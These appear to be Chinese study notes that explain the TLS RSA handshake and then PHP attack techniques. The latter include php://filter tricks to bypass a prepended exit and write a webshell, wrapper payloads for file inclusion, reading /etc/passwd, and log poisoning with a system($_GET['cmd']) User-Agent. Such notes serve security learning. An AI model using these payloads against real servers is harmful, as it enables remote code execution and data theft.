一、RSA 密钥协商
1、TLS 握手的整体过程(基于 RSA 密钥交换)
TLS 握手可以理解为四个阶段,通常需要 2 个 RTT 时间。
第一阶段是客户端打招呼,第二阶段是服务器回应并发送证书,第三阶段是客户端生成密钥材料,第四阶段是双方确认加密通信已经建立。
2、RSA 密钥协商的详细流程
第一次握手:客户端发送 Client Hello
客户端向服务器发送一个 Client Hello 消息,里面包含四类信息:TLS 版本号、支持的密码套件列表、支持的压缩算法,以及一个随机数 Client Random。这个随机数后面会参与生成会话密钥。
第二次握手:服务器回应 Server Hello 和证书
服务器收到 Client Hello 后,从中选择一个双方都支持的 TLS 版本和加密套件,同时生成一个随机数 Server Random。随后服务器发送 Server Hello 消息给客户端,并附带自己的数字证书。
证书中包含服务器的公钥、持有者信息、CA 机构信息、CA 的签名、有效期等内容。
客户端验证服务器证书
客户端拿到证书后,会进行验证。验证过程包括三步:
第一步,对证书内容进行 Hash,得到一个值 H1;
第二步,用内置的 CA 公钥解密证书中的签名,得到另一个 Hash 值 H2;
第三步,对比 H1 和 H2,如果相同,说明证书没有被篡改且可信。
在真实环境中,证书一般是通过"证书链"来验证的:网站证书通常由中间 CA 签发,中间 CA 又由根 CA 签发,浏览器和操作系统内置了根证书,只要能一路验证到根证书,就认为该证书可信。
第三次握手:生成会话密钥
客户端在验证证书可信之后,会生成一个新的随机数,叫 pre-master。客户端用服务器证书里的公钥加密这个 pre-master,并发送给服务器。
服务器收到后,用自己的私钥解密,得到 pre-master。
此时,客户端和服务器双方都有三个随机数:Client Random、Server Random 和 pre-master。双方用这三个值通过固定算法生成 Master Secret,也就是后续通信中使用的对称加密密钥。
随后客户端发送 Change Cipher Spec 消息,表示之后开始使用加密通信,再发送 Finished 消息,用刚生成的会话密钥对之前所有握手数据的摘要进行加密。
第四次握手:服务器确认
服务器也发送 Change Cipher Spec 和 Finished 消息。如果双方验证都通过,TLS 握手完成,之后的 HTTP 数据全部用对称密钥加密传输。
3、RSA 密钥交换的缺陷
RSA 密钥交换不支持前向保密。如果服务器的私钥在未来某一天泄露,那么过去所有被截获的 HTTPS 通信数据都可以被解密。
二、php://filter 的用处
1、php://filter 是什么
php://filter 是 PHP 提供的一种协议流,可以在读取或写入文件时,对内容进行过滤、转换、编码或解码。它可以在不修改代码的情况下,对数据进行处理。
常见用途包括:base64 编码与解码、字符串过滤、标签清理、内容转换等。
常见的格式为:
php://filter/read=xxx/resource=filename
php://filter/write=xxx/resource=filename
2、典型利用场景:被加了"死亡 exit"
在一些程序中,开发者为了防止用户上传的文件被直接执行,常常在文件内容前面加上类似 "<?php exit; ?>" 的语句。这样即使你写入了一句话木马,也会因为 exit 直接终止执行。
$content = "<?php exit; ?>" . $_POST['txt'];
file_put_contents($_POST['filename'], $content);
例如:
程序先拼接 "<?php exit; ?>" 再把用户输入写入文件,导致一句话木马无法执行。
3、利用 base64-decode 的特性绕过
PHP 在执行 base64_decode 时,会自动忽略不属于 base64 字符集的字符。比如 <、?、;、>、空格等都会被跳过。
php://filter/write=convert.base64-decode/resource=shell.php
因此,如果我们通过 php://filter/write=convert.base64-decode 的方式写文件,程序会先对写入内容进行 base64 解码。
"<?php exit; ?>" 中的大部分字符都会被当作非法字符丢弃,只剩下类似 phpexit 的字符串,再配合长度对齐,就可以让 exit 失效。
这样,原本写不进去、执行不了的 shell 就可以被成功写入并执行。
4、利用字符串过滤器组合绕过
php://filter 支持多个过滤器串联使用。比如可以先使用 strip_tags 去掉 PHP 标签,再使用 base64_decode 还原真正的木马代码。
php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
整体流程是:
先去除 <?php exit; ?>,再把你 base64 编码过的一句话木马解码出来,最终写入的就是干净可执行的 PHP 代码。
三、文件包含漏洞
PHP 的文件操作并不只是针对本地路径字符串进行,而是基于流(Stream)机制来统一处理资源。PHP 内部将文件、网络、内存、数据流等都抽象为"可像文件一样访问的对象",这些对象通过不同的协议封装器进行访问,这类协议在 PHP 中统称为 Wrapper。
也就是说,在 PHP 中调用 file_get_contents、include、require 等函数时,本质上是在通过某种 Wrapper 协议读取一个资源。
例如:
file_get_contents("file:///etc/passwd");
file_get_contents("http://example.com");
include("php://input");
部分 Wrapper 的使用依赖 PHP 配置项
allow_url_fopen = On
allow_url_include = On
当 allow_url_fopen 为 On 时,file_get_contents、fopen 等函数可以访问 http、data 等 URL 形式的资源。当 allow_url_include 为 On 时,include、require 才允许引入远程或特殊协议资源。PHP 版本通常要求在 5.2.0 及以上。
1、file 协议
是 PHP 中 include 默认使用的协议。如果在代码中直接写 include("test.php"),实际上等价于
include("file://" . __DIR__ . "/test.php");
file 协议访问的是本地文件系统。如果被包含的文件内容符合 PHP 语法,就会被当作 PHP 代码执行。这也是本地文件包含漏洞的基础。
2、data 协议
可以在 URL 中直接携带数据内容
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
当 allow_url_include 开启时,配合 include 使用 data 协议可以直接执行内联的 PHP 代码。明文形式可以直接写 PHP 语句,base64 形式会在解析时先解码再执行。
3、zip://协议
需要绝对路径
?file=zip:///var/www/html/upload/test.zip%23shell.php
compress.zlib://协议(gz://)
?file=compress.zlib://http://127.0.0.1/shell.php.gz
compress.bzip2://协议(bz2://)
?file=compress.bzip2://http://127.0.0.1/shell.php.bz2
4、 php://filter
用于对读取的数据进行过滤和转换。基本格式如下
php://filter/read=convert.base64-encode/resource=filename.php
表示先对 filename.php 的内容进行 base64 编码,再返回给调用者。
常见过滤器示例
convert.base64-encode
convert.base64-decode
string.rot13
string.toupper
string.tolower
string.strip_tags
php://filter 常用于在 LFI 场景中读取源码而不执行代码。
5、php://input
用于读取 HTTP 请求体中的原始数据。配合 include 使用时,可以将 POST 请求的 Raw Body 当作 PHP 代码执行。
include("php://input");
需要注意,请求体必须是原始格式,而不是 application/x-www-form-urlencoded。
常用文件系统函数包括
file_get_contents();
file_put_contents();
当这些函数的参数使用 php://filter 等 Wrapper 时,就会触发数据转换或特殊行为。
在某些场景中,代码可能类似如下形式
file_put_contents($filename, "<?php exit();" . $content);
这段逻辑会强制在写入内容前加上 "<?php exit();",使后续内容无法执行。
构造 Payload 示例
filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgcGhwaW5mbygpOz8+
原理是 base64 解码只识别 A-Z a-z 0-9 + / 这 64 个字符,其他字符会被忽略。"<?php exit();" 中只有 phpexit 会参与解码,但 base64 是每 4 个字符一组进行解析,所以可以通过在前面补一个字符来重新对齐分组。
a + PD9waHAgcGhwaW5mbygpOz8+
解码后实际得到
<?php phpinfo();?>
从而绕过 exit 的限制。
在存在 LFI 的情况下,可以通过日志文件包含来实现代码执行。方法是先向日志中写入 PHP 代码,再通过 include 包含日志文件。
例如通过 User-Agent 注入
User-Agent: <?php system($_GET['cmd']); ?>
常见日志路径
Nginx
/var/log/nginx/access.log
Apache
/var/log/apache2/access.log
然后通过
?file=/var/log/nginx/access.log
即可让日志中的 PHP 代码被解析执行。